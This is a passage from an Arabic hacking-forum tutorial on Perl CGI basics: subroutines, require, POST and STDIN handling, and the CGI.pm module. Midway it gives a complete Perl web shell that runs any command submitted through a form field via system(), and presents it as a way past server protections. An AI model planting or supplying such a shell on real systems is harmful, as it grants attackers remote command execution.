Loading...

BTC Address to donate : [[address]]

Donation of [[value]] BTC Received. Thank You.
[[error]]

s4udiT3rr0rist S4E Team
  • شكراً: 629
  • تم شكره 974 مرة في 377 مشاركة

بسم الله الرحمن تارحيم
CGI مدخلنا الى

Common Gateway Interface [Perl] CGI


باذن الله راح احاول اقلل من الدرس
لكي لايصيبكم الملل خلال القراءة
CGI هي ليست لغة برمجة بحد ذاتها
ولاكن هي بوابة تجعل لغة بيرل تمكنك
من برمجة صفحات الويب
لتتعلم اكثر انظر هنا >>CGI<<
وارجو ان تاخذون لفة في دورة HTML هنا
>> HTML Cliprz <<

دعونا نبدا
قولو معي بسم الله وعلى بركة الله

كود PHP:
#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
print 
"i love sec4ever"
نشرح النص التالي
#!c:\perl\bin\perl.exe مترجم البيرل على الوندوز
#!/usr/bin/perl اذا كان جهازك لينكس

سبحان الله والحمد لله

السطر الثاني
print "Content-type: text/html\n\n"; لكي نخبره ان البرنامج هو نص HTML
وهي ما تعني ب MIME

سبحان الله والحمد لله

Subroutines | الوظائف الفرعية
الوظائف الفرعية في بيرل جعلتها لغة برمجة سهله
دعونا نشرحها
كود PHP:
#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
sub sec{
print 
"i love sec4ever";
}
 
sub ever{
print 
"Love 4ever";

سبحان الله والحمد لله

ضع هذا الكود في صفحة وقم بتسميتها مثلا sub.pl
قم بفتح الصفحه
الصفحة فارغه تماما
سبحان الله والحمد لله
حسنا في نهاية السطر قم باضافة
sec; او ever;
او كلاهما معا

نجد انه طبع مايوجد بداخل sub



require | الطلب او الاستدعاء

وظيفتها طلب او استدعاء ملف
نجرب نبدا في استدعاء ملف

الملف الاول وليكن اسمه sec.pl
كود PHP:
#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
sub sec{
print 
" i love sec4ever ";
}
 
sub ever{
print 
" Love 4ever ";
}

1# لكي نخبره ان sub قيم ليست فارغة 
الملف التالي وليكن اسمه ever.pl
سبحان الله والحمد لله

كود PHP:
#!c:\perl\bin\perl.exe
require "sec.pl";
print 
"Content-type: text/html\n\n";
&
sec;
&
ever
في بداية الكود تجد requrie "sec.pl"; هنا يقوم باستدعاء الملف

نجرب نفتح الملف من خلال المتصفح





STDIN و POST :


دعونا ناخذ مثال ونشرح عليه
سبحان الله والحمد لله
كود PHP:
http://pastie.org/5125267 
راح اشرح الاساسيات لتسهيل الدرس


سبحان الله والحمد لله

استدعاء المكتبة UserAgent
use LWP::UserAgent;

تعريف الصفحه انها HTML
print "Content-type: text/html\n\n";


يقول ف البداية اذا كان Environment
REQUEST_METHOD
يساوي POST
هنا نوع الطلب REQUEST_METHOD يساوي POST
يعني اريد ان يكون نوع الطلب POST داخل الصفحه
if ($ENV{'REQUEST_METHOD'} eq 'POST') {

طريقة القرائة مدخله يعني STDIN
$buffer المتغير يساوي
QUERY_STRING
معلومات عنوان url المشفره
CONTENT_LENGTH لقرائة عدد البايتات المدخله وهو نوع من Environment
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
سبحان الله والحمد لله
طبعا جميع من سيلاحظ عذا الكود بيستصعب اللغه
لاكن راح اشرحه حسب م تعلمت
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
هذا السطر يحول اي رمز مسبوق بعلامة % الى حرف حقيقي
يعني كيف ؟ يعني بعض الاحيان لم نفتح صفحه تجي في
عنوان ال URL >> localhost/sec4ever
العنوان المشفر URL >> localhost%2Fsec4ever
سوف يقوم بتحويل %2F الى / رمزها الحقيقي
سبحان الله والحمد لله
خلونا نكتب مثال شل خفيف يساعد بلتخطى
الحماية بواسطة perl ..

كود PHP:
#!c:\perl\bin\perl.exe

print "Content-type: text/html\n\n";

  if (
$ENV{'REQUEST_METHOD'eq 'POST') {
  
read(STDIN$buffer$ENV{'CONTENT_LENGTH'});
} else {
  
$buffer $ENV{'QUERY_STRING'};
}
@
or4ng split(/&/, $buffer);
foreach 
$m4n (@or4ng) {
  (
$name$value) = split(/=/, $m4n);
  
$name =~ tr/+/ /;
  
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C"hex($1))/eg;
  
$value =~ tr/+/ /;
  
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C"hex($1))/eg;
  
$FORM{$name} = $value;
}
    
$cmd $FORM{cmd};
sub sec{
    print 
'
        <h1>Shell S4</h1>
        <form method="POST">
        <td class=list align=right>cmd</td>
        <td class=list><input type=text name=cmd ></td>
        <input type=submit value="cmds" ></td>'
;
}
1;
if (
$FORM{cmdeq ""){
&
sec;
    }else{
    
system($cmd);
    &
sec;
    } 


الحين ابغى تطبيقاتكم
برمجو اداة ونزلوها هنا

وين رايح ؟
لسه ماخلصنا بزاف





التعامل مع مكتبة CGI;


مكتبة CGI تختصر لك الوقت
في كتابة اكواد HTML
سبحان الله والحمد لله
دعونا ناخذ مثال ونشرحه على السريع


كود PHP:
use CGI# جلب المكتبة
$q CGI->new# تكوين السي جي زي print "Content-type: text/html\n\n";
print $q->header# تكوين الهيدر
$q->start_html('hello world'), # بدء وسوم HTML
$q->h1('i love you Or4ngM4n'),
$q->end_html
سبحان الله والحمد لله

طيب شوف معاي
كود PHP:
$q->start_html('Sec4ever'), 
تعني بداية اوسمة HTML
Sec4ever = تستبدلها بعنوان الصفحه
كود PHP:
$q->end_html
نهاية اكواد HTML
طيب الحين خلونا نشرح
كود PHP:
$q->h1('i love you Or4ngM4n'), 
لو لك خبرة ب HTML راح تعرف وش تعني h1
او اذا شفت دورة HTML الموضوعه باعلى الموضوع ^
h1 تعني
كود PHP:
<h1>i love you Or4ngM4n</h1
كود HTML
كيف عرفة ي اورنج ؟
بديهيا راح تفتح مصدر الصفحه وتشوف
اما علميا مدري
ههههههههه
امزح خلونا نكمل
واحد قالي اورنج ابغى مثلا اضيف input في الصفحه وش اسوي ؟
كل اللي عليك ي طويل العمر والسلامه
تضيف بدل h1 > input

تطبيقاتكم

سبحان الله والحمد لله


انتهى
ان اخطات فمن نفسي والشيطان
وان اصبت فمن الله

اي سؤال

توقيع

i-
Hmx-+On eht mic
p3rL
is My Lov3
المعرفة هي القوة ، وتقاسم المعرفة هي القوة المفقودة
knowledge is power, knowledge shared is power lost


8 أعضاء قالوا شكراً لـ s4udiT3rr0rist على المشاركة المفيدة: